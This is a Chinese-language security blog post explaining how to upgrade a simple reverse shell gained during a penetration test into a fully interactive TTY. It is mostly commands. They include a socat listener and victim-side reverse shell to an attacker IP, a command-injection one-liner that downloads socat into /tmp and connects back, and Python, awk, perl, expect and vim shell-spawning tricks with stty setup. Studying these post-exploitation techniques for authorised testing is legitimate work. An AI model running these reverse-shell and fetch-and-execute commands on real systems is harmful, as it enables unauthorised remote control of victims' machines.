获取全交互式Shell
前言
有时候在渗透过程中获取了简单的反弹shell,但是功能上没有全交互式shell强大,如:
- 无法使用su、ssh等交互式命令
- 无法使用vim等编辑器
- 不能向上翻阅命令历史记录
- 不能使用TAB键不全
- ……
下面是一些把Shell升级到全交互式Shell的方法
Reverse shell
参考Linux反弹shell。如果目标系统上未安装一些必须的工具,可以在这里下载已编译的相关版本。
socat
kali(10.0.3.4)监听:
1 | socat file:`tty`,raw,echo=0 tcp-listen:4444 |
受害者执行:
1 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.100:4444 |
使用命令注入漏洞,可以将正确的架构的socat
二进制文件下载到可写的目录,添加权限,然后在一行中执行命令获得反向shell:
1 | wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 |
awk
1 | awk 'BEGIN{system("/bin/bash")}' |
Python
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
无python时:
1 | expect -c 'spawn bash;interact' |
perl
1 | perl -e "exec '/bin/sh';" |
vim
1 | 输入vim,然后输入:!/bin/sh |
使用有样式的shell
1.先到本地执行命令查看终端环境的一些信息:echo $TERM
、stty -a
。
1 | $ echo $TERM |
可以看到本地终端颜色为xterm-256color
,终端的高度宽度分别为25、90。
2.在反弹shell中执行下面的命令,然后按下Ctrl+Z组合键,使反向shell进入后台运行。
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
3.然后在本地中对终端中进行一些设置
1 | # 在本地shell中 |
ps:设置rows和columns是为了解决遇到shell 的高度/宽度与终端不匹配的问题。
完整按键操作:
1 | python -c 'import pty;pty.spawn("/bin/bash");' |
Spawning A TTY Shell
1 | python -c 'import pty;pty.spawn("/bin/sh")' |
参考
- Post title:获取全交互式Shell
- Post author:ssooking
- Create time:2019-12-26 00:00:00
- Post link:https://ssooking.github.io/2019/12/获取全交互式shell/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.